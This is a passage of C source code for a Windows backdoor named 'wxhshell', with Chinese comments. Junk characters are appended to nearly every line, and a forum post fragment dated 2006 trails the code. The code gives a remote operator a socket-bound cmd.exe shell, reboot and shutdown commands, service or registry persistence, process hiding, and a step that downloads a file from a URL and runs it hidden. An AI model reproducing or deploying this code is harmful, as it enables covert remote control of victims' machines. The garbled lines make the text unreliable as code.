    switch(cmd[0]) { usU5q>1  
  H}`}qu #~V  
  // 帮助 ]e!9{\X,*  
  case '?': { FK<1SOE  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "luMz;B  
    break;  "H#2  
  } )ui]vS:>  
  // 安装 5*C#~gd& F  
  case 'i': { 4~4D1  
    if(Install()) yHe%e1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uS;N&6;:  
    else 4;=+qb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jhg0H2C8  
    break; E {*d`n  
    } ,:;ZzHzR0  
  // 卸载 e-Mei7{%  
  case 'r': { E0G"B' x  
    if(Uninstall()) Dg W*Br8<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m5`<XwD9  
    else 2M@,g8O+B=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WS6'R    
    break; Dn~c  
    } sN"<baZ  
  // 显示 wxhshell 所在路径 R.^ Y'TLyc  
  case 'p': { B)*?H=f/  
    char svExeFile[MAX_PATH]; `|(S]xPHM  
    strcpy(svExeFile,"\n\r"); '*lVVeSiFw  
      strcat(svExeFile,ExeFile); ozB2L\D7  
        send(wsh,svExeFile,strlen(svExeFile),0); wl7G6Y2  
    break; F=EG#<@u  
    } (ZSd7qH"  
  // 重启 hh#p=Y(f  
  case 'b': { VUmf;~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PUcxlD/a}  
    if(Boot(REBOOT)) FLUvFD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O3 NI  
    else { v(=?@ tF}E  
    closesocket(wsh); "lLwgh;  
    ExitThread(0); jzvrJ14  
    } 2fN2!OT  
    break; As{"B  
    } :<gC7UW  
  // 关机 FNlS)Bs  
  case 'd': { SFJ"(ey$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q<[m(]:  
    if(Boot(SHUTDOWN)) duQ ,6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )[wB:kG  
    else { sD#*W<  
    closesocket(wsh); 4g+Dp&U  
    ExitThread(0); y7^E`LKK  
    } |tN:o= 6  
    break; qf T71o(  
    } WYJH+"@%j  
  // 获取shell g~p43sVV  
  case 's': { QZ& 4W  
    CmdShell(wsh); g286 P_a`*  
    closesocket(wsh); Y[!s:3\f  
    ExitThread(0); ;&c9!LfP  
    break; twMDEw#VL  
  } X4eoE  
  // 退出 dk/f_m  
  case 'x': { |BBo  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qr4.s$VGs*  
    CloseIt(wsh); nT :n>ja  
    break; +wp!hk&C5  
    } ?U+nR/H:6  
  // 离开  < v1.+  
  case 'q': { 2q4-9vu  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *b7evU *1  
    closesocket(wsh); +;T\:'CU  
    WSACleanup(); _1G;!eO  
    exit(1); Dy&{PeE!  
    break; m yy*rt  
        } 6<fcG  
  }  s2`}~  
  } 0YZ66VN!  
L"RE[" m  
  // 提示信息 ioBYxbY`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ` ZBOaN^if  
} l} @C'Np  
  } 3"Zc|Ck <?  
-H F1c  
  return; !t[;~`d9  
} y[ZVi5) ,  
e(I;[G +%,  
// shell模块句柄 RR2M+vQ  
int CmdShell(SOCKET sock)  Q!5W x  
{ ]?T,J+S  
STARTUPINFO si; =)}Yw)  
ZeroMemory(&si,sizeof(si)); tn;Uaw  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >9y!M'V  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T|p%4hH  
PROCESS_INFORMATION ProcessInfo; F. I\?b  
char cmdline[]="cmd"; g_@b- :$Yq  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~l('ly  
  return 0; !yvw5As%  
} +TAyCxfmt  
,#bT  
// 自身启动模式 NtmmPJ|5  
int StartFromService(void) {]%7-4E  
{ >`^;h]Q  
typedef struct xt6%[)  
{ [b3$em<^JV  
  DWORD ExitStatus; Z 5g*'  
  DWORD PebBaseAddress; 0+K<;5"63d  
  DWORD AffinityMask; |9Y~k,rF  
  DWORD BasePriority; /8 y v8  
  ULONG UniqueProcessId; 9VMk?   
  ULONG InheritedFromUniqueProcessId; ve\@u@K^  
}   PROCESS_BASIC_INFORMATION; - _~\d+>w  
nt@uVwfQ  
PROCNTQSIP NtQueryInformationProcess; zDBm^ s  
)LsUO#%DO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1+ [,eq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l3+G]C&<  
.$1S-+(kV  
  HANDLE             hProcess; {P3gMv;  
  PROCESS_BASIC_INFORMATION pbi; l GJN;G7  
K"!U&`T  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;I6C`N  
  if(NULL == hInst ) return 0; 0d$LUQ't  
!hE F.S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R2Lq??XA=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  N!Xn)J  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); MShcZtN  
L3\( <[  
  if (!NtQueryInformationProcess) return 0; 7%&e4'SZO  
2k m0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T+S\'f\  
  if(!hProcess) return 0; : rudo[L  
bN|1%[7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JE#H&]  
O|+$ 9#,  
  CloseHandle(hProcess); <tm=  
jAovzZ6BL  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c[;A$P= 8.  
if(hProcess==NULL) return 0; E>:#{%  
JxKd  
HMODULE hMod; 8Pva]Q  
char procName[255]; "yl6WG# J  
unsigned long cbNeeded; 8Q0/kG  
"Z~@"JLb%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s){VU2.ra  
m|;gl|dTB  
  CloseHandle(hProcess); ,|]k4F  
y-S23B(  
if(strstr(procName,"services")) return 1; // 以服务启动 9!0-~,o  
@i#=1)Ze  
  return 0; // 注册表启动 'Tskx  
} YS<KyTb"  
'j?H >'t{  
// 主模块 sxdDI?W4  
int StartWxhshell(LPSTR lpCmdLine) [h>A<O  
{ R%\<al$O  
  SOCKET wsl; `Gx 5=Bm;  
BOOL val=TRUE; ) r"7"i  
  int port=0; p^Z|$aZZ  
  struct sockaddr_in door; QyrB"_dm  
')iyD5/4  
  if(wscfg.ws_autoins) Install(); xCyD0^KY  
2Ky|+s[`[  
port=atoi(lpCmdLine); 7#*`7 K'P!  
jF(R;?,  
if(port<=0) port=wscfg.ws_port; wzcv[C-x  
i?V:+0#q\]  
  WSADATA data; $O fZp<M  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j'Gezx^.<e  
0LTsWCUQ6e  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^* CKx  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #WE lL2&  
  door.sin_family = AF_INET; kX*.BZI}C  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bU}l*"  
  door.sin_port = htons(port); i&<@}:,  
e?\hz\^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IU"n`HS  
closesocket(wsl); }0>\%C  
return 1; [(vV45(E  
} qZlL6  
67||wh.BU  
  if(listen(wsl,2) == INVALID_SOCKET) { tItI^]w2s  
closesocket(wsl); YllW2g:  
return 1; kk OjAp{<t  
} H1 i+j;RN  
  Wxhshell(wsl); oHF,k  
  WSACleanup(); +O8}twt@  
> lI2r}  
return 0; E};1 H  
0&3zBL%Bo  
} @mcP-  
G*-7}7OAs  
// 以NT服务方式启动 ZfS"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /<J5?H  
{ D+h`Z]"|  
DWORD   status = 0; YdYaLTz  
  DWORD   specificError = 0xfffffff; qg*xdefQ%  
:Z6l)R+V  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3'7X[{uBr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `0=j,54cx  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _z#S8Y  
  serviceStatus.dwWin32ExitCode     = 0; BtQqUk#L2  
  serviceStatus.dwServiceSpecificExitCode = 0; }To-c'  
  serviceStatus.dwCheckPoint       = 0; /~g.j1g  
  serviceStatus.dwWaitHint       = 0; `R-VJR 2"  
7+$P6[*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9 vNz yh\  
  if (hServiceStatusHandle==0) return; xoQqku"vn  
ciN*gwI)  
status = GetLastError(); I=k`VId:  
  if (status!=NO_ERROR) xfqU atC  
{ vtq47i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %D ,(S-Uj  
    serviceStatus.dwCheckPoint       = 0; )r XUJ29.  
    serviceStatus.dwWaitHint       = 0; G%%5lw!y'  
    serviceStatus.dwWin32ExitCode     = status; :ZXaJ!  
    serviceStatus.dwServiceSpecificExitCode = specificError; zKf0 :X  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); irn }.e  
    return; Emv9l~mIu  
  } }jL4F$wC  
}5u;'>$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "ZG2olOqLI  
  serviceStatus.dwCheckPoint       = 0; K3`48,`?wA  
  serviceStatus.dwWaitHint       = 0; *#B"%;Ln  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {HP.HK  
} B\>3[_n  
92^Dn`g  
// 处理NT服务事件,比如:启动、停止 :]`JcJ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @Z@S;RWSU  
{ c`#4}$  
switch(fdwControl) V&d?4i4/Q  
{ ^C{?LH/2  
case SERVICE_CONTROL_STOP:  \>e>J\t:  
  serviceStatus.dwWin32ExitCode = 0; 0"u=g)3  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i]0$ 7s9!  
  serviceStatus.dwCheckPoint   = 0; bE"J&;|  
  serviceStatus.dwWaitHint     = 0; <-!' V,c  
  { l i2/"~l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u6/;=]0   
  } z2SR/[I?  
  return; m8&XW2S  
case SERVICE_CONTROL_PAUSE: TA+/35^?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; K(}<L-cv  
  break; mtNB09E(  
case SERVICE_CONTROL_CONTINUE: t\lx*_lr  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; HjX)5@"o(  
  break; !)uXCg9U  
case SERVICE_CONTROL_INTERROGATE: BWsD~Ft  
  break; TK#-;p_  
}; )h;zH,DA[3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 21\?FQrz  
} xf8.PqVNo  
rB3b  
// 标准应用程序主函数 B zr}+J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 58/\  
{ Y\{lQMCy  
7 6S>xnN  
// 获取操作系统版本 Jry643K>:;  
OsIsNt=GetOsVer(); H=5#cPI#(^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); v0 |"[qGb  
"z|%V/2b3  
  // 从命令行安装 )auuk<  
  if(strpbrk(lpCmdLine,"iI")) Install(); f8 L3+u  
zuBfkW95+  
  // 下载执行文件 Q37zBC 0  
if(wscfg.ws_downexe) { i<{/r-w=E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z/I`XPmk  
  WinExec(wscfg.ws_filenam,SW_HIDE); R]_fe4Y0  
} hFt~7R  
p9iCrqi  
if(!OsIsNt) { n`7n5M*  
// 如果时win9x,隐藏进程并且设置为注册表启动 edh<L/%D  
HideProc(); n/GJ&qLi:g  
StartWxhshell(lpCmdLine); 4(\7Or(''  
} 7=]Y7 "XCf  
else O; <YLS^|6  
  if(StartFromService()) ,5Tw5<S  
  // 以服务方式启动 eR5+1b  
  StartServiceCtrlDispatcher(DispatchTable); nB86oQ/S  
else 1V1T1  
  // 普通方式启动 .(zZTyZr  
  StartWxhshell(lpCmdLine); '#x<Fo~hT  
Q$DF3[NC  
return 0; k3t2{=&'&x  
}
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只看该作者 1 发表于: 2006-10-10
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